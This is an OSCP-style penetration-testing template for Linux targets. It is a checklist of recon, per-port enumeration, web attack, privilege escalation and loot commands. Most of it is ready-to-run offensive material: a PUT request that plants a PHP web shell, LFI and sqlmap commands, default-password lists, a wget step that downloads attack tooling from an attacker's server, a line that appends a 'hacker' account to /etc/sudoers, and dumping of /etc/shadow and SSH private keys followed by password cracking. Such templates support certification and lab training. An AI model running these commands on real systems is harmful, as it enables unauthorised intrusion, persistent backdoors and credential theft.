Linux

https://github.com/xapax/oscp/blob/master/templates/linux-template.md

Info-sheet

  • DNS-Domain name:

  • Host name:

  • OS:

  • Server:

  • Kernel:

  • Workgroup:

  • Windows domain:

Services and ports: INSERTTCPSCAN

Recon

Always start with a stealthy scan to avoid closing ports.
# Syn-scan
nmap -sS INSERTIPADDRESS
# Scan all ports, might take a while.
nmap INSERTIPADDRESS -p-
# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333
# Scan for UDP
nmap INSERTIPADDRESS -sU
unicornscan -mU -v -I INSERTIPADDRESS
# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772
# Monster scan
nmap INSERTIPADDRESS -p- -A -T4 -sC

Port 21 - FTP

  • FTP-Name:

  • FTP-version:

  • Anonymous login:

INSERTFTPTEST

nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS

Port 22 - SSH

  • Name:

  • Version:

  • Takes-password:

  • If you have usernames test login with username:username

INSERTSSHCONNECT

nc INSERTIPADDRESS 22

Port 25

  • Name:

  • Version:

  • VRFY:

INSERTSMTPCONNECT

nc -nvv INSERTIPADDRESS 25
HELO foo<cr><lf>
telnet INSERTIPADDRESS 25
VRFY root
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 INSERTIPADDRESS

Port 69 - UDP - TFTP

This is used for tftp-server.

Port 110 - Pop3

  • Name:

  • Version:

INSERTPOP3CONNECT

telnet INSERTIPADDRESS 110
USER pelle@INSERTIPADDRESS
PASS admin
or:
USER pelle
PASS admin
# List all emails
list
# Retrieve email number 5, for example
retr 9

Port 111 - Rpcbind

rpcinfo -p INSERTIPADDRESS

Port 135 - MSRPC

Some versions are vulnerable.

Port 143 - Imap

Port 139/445 - SMB

  • Name:

  • Version:

  • Domain/workgroup name:

  • Domain-sid:

  • Allows unauthenticated login:

nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse INSERTIPADDRESS -p 445
enum4linux -a INSERTIPADDRESS
rpcclient -U "" INSERTIPADDRESS
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john

Port 161/162 UDP - SNMP

nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESS
snmp-check -t INSERTIPADDRESS -c public
# Common community strings
public
private
community

Port 554 - RTSP

Port 1030/1032/1033/1038

Used by RPC to connect in domain network.

Port 1521 - Oracle

  • Name:

  • Version:

  • Password protected:

tnscmd10g version -h INSERTIPADDRESS
tnscmd10g status -h INSERTIPADDRESS

Port 2049 - NFS

showmount -e INSERTIPADDRESS
If you find anything you can mount it like this:
mount INSERTIPADDRESS:/ /tmp/NFS
mount -t INSERTIPADDRESS:/ /tmp/NFS

Port 2100 - Oracle XML DB

  • Name:

  • Version:

  • Default logins:

sys:sys
scott:tiger

Default passwords https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm

3306 - MySQL

  • Name:

  • Version:

nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse INSERTIPADDRESS -p 3306
mysql --host=INSERTIPADDRESS -u root -p

Port 3339 - Oracle web interface

  • Basic info about web service (apache, nginx, IIS)

  • Server:

  • Scripting language:

  • Apache Modules:

  • IP-address:

Port 80 - Web server

  • Server:

  • Scripting language:

  • Apache Modules:

  • IP-address:

  • Domain-name address:

INSERTCURLHEADER

  • Web application (ex, wordpress, joomla, phpmyadmin)

  • Name:

  • Version:

  • Admin-login:

# Nikto
nikto -h http://INSERTIPADDRESS
# Nikto with squid proxy
nikto -h INSERTIPADDRESS -useproxy http://INSERTIPADDRESS:4444
# CMS Explorer
cms-explorer -url http://INSERTIPADDRESS -type [Drupal, WordPress, Joomla, Mambo]
# WPScan (vp = Vulnerable Plugins, vt = Vulnerable Themes, u = Users)
wpscan --url http://INSERTIPADDRESS
wpscan --url http://INSERTIPADDRESS --enumerate vp
wpscan --url http://INSERTIPADDRESS --enumerate vt
wpscan --url http://INSERTIPADDRESS --enumerate u
# Joomscan
joomscan -u http://INSERTIPADDRESS
joomscan -u http://INSERTIPADDRESS --enumerate-components
# Get header
curl -i INSERTIPADDRESS
# Get everything
curl -i -L INSERTIPADDRESS
# Check for title and all links
curl INSERTIPADDRESS -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'
# Look at page with just text
curl INSERTIPADDRESS -s -L | html2text -width '99' | uniq
# Check if it is possible to upload
curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php
dotdotpwn.pl -m http -h INSERTIPADDRESS -M GET -o unix

Nikto scan

INSERTNIKTOSCAN

Url brute force

# Not recursive
dirb http://INSERTIPADDRESS -r -o dirb-INSERTIPADDRESS.txt
# Gobuster - remove relevant responde codes (403 for example)
gobuster -u http://INSERTIPADDRESS -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e

INSERTDIRBSCAN

Default/Weak login

Search documentation for default passwords and test them

site:webapplication.com password
admin admin
admin password
admin <blank>
admin <servicename>
root root
root admin
root password
root <servicename>
<username if you have> password
<username if you have> admin
<username if you have> username
username <servicename>

LFI/RFI

fimap -u "http://INSERTIPADDRESS/example.php?test="
# Ordered output
curl -s http://INSERTIPADDRESS/gallery.php?page=/etc/passwd
/root/Tools/Kadimus/kadimus -u http://INSERTIPADDRESS/example.php?page=

SQL-Injection

# Post
./sqlmap.py -r search-test.txt -p tfUPass
# Get
sqlmap -u "http://INSERTIPADDRESS/index.php?id=1" --dbms=mysql
# Crawl
sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3

Sql-login-bypass

Password brute force - last resort

cewl

Port 443 - HTTPS

Heartbleed:

# Heartbleed
sslscan INSERTIPADDRESS:443

Vulnerability analysis

Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilites and features.

To try - List of possibilies

Add possible exploits here:

Find sploits - Searchsploit and google

Where there are many exploits for a software, use google. It will automatically sort it by popularity.

site:exploit-db.com apache 2.4.7
# Remove dos-exploits
searchsploit Apache 2.4.7 | grep -v '/dos/'
searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat"
# Only search the title (exclude the path), add the -t
searchsploit -t Apache | grep -v '/dos/'

'''''''''''''''''''''''''''''''''' PRIVESC '''''''''''''''''''''''''''''''''

Privilege escalation

Now we start the whole enumeration-process over gain.

  • Kernel exploits

  • Programs running as root

  • Installed software

  • Weak/reused/plaintext passwords

  • Inside service

  • Suid misconfiguration

  • World writable scripts invoked by root

  • Unmounted filesystems

Less likely

  • Private ssh keys

  • Bad path configuration

  • Cronjobs

To-try list

Here you will add all possible leads. What to try.

Useful commands

# Spawning shell
python -c 'import pty; pty.spawn("/bin/sh")'
# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Set up webserver
cd /root/oscp/useful-tools/privesc/linux/privesc-scripts; python -m SimpleHTTPServer 8080
# Download all files
wget http://192.168.1.101:8080/ -r; mv 192.168.1.101:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linprivchecker.py unix-privesc-check
./LinEnum.sh -t -k password -r LinEnum.txt
python linprivchecker.py extended
./unix-privesc-check standard
# Writable directories
/tmp
/var/tmp
# Add user to sudoers
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

Basic info

  • OS:

  • Version:

  • Kernel version:

  • Architecture:

  • Current user:

Devtools:

  • GCC:

  • NC:

  • WGET:

Users with login:

uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts
# Users with login
grep -vE "nologin" /etc/passwd
# Priv Enumeration Scripts
upload /unix-privesc-check
upload /root/Desktop/Backup/Tools/Linux_privesc_tools/linuxprivchecker.py ./
upload /root/Desktop/Backup/Tools/Linux_privesc_tools/LinEnum.sh ./
python linprivchecker.py extended
./LinEnum.sh -t -k password
unix-privesc-check

Kernel exploits

site:exploit-db.com kernel version
perl /root/oscp/useful-tools/privesc/linux/Linux_Exploit_Suggester/Linux_Exploit_Suggester.pl -k 2.6
python linprivchecker.py extended

Programs running as root

Look for webserver, mysql or anything else like that.

# Metasploit
ps
# Linux
ps aux

Installed software

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
# Debian
dpkg -l
# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )
# OpenBSD, FreeBSD
pkg_info

Weak/reused/plaintext passwords

  • Check database config-file

  • Check databases

  • Check weak passwords

username:username
username:username1
username:root
username:admin
username:qwerty
username:password
  • Check plaintext

./LinEnum.sh -t -k password

Inside service

# Linux
netstat -anlp
netstat -ano

Suid misconfiguration

Binary with suid permission can be run by anyone, but when they are run they are run as root!

Example programs:

nmap
vim
nano
find / -perm -u=s -type f 2>/dev/null

Unmounted filesystems

Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again.

mount -l

Cronjob

Look for anything that is owned by privileged user but writable for you

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SSH Keys

Check all home directories

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

Bad path configuration

Require user interaction

----------------------------- LOOT LOOT LOOT LOOT ----------------------

Loot

Checklist

  • Proof:

  • Network secret:

  • Passwords and hashes:

  • Dualhomed:

  • Tcpdump:

  • Interesting files:

  • Databases:

  • SSH-keys:

  • Browser:

  • Mail:

Proof

/root/proof.txt

Network secret

/root/network-secret.txt

Passwords and hashes

cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

Dualhomed

ifconfig
ifconfig -a
arp -a

Tcpdump

tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X
tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X

Interesting files

#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql
.ssh:
.bash_history

Databases

SSH-Keys

Browser

Mail

/var/mail
/var/spool/mail

GUI

If there is a gui we want to check out the browser.

echo $DESKTOP_SESSION
echo $XDG_CURRENT_DESKTOP
echo $GDMSESSION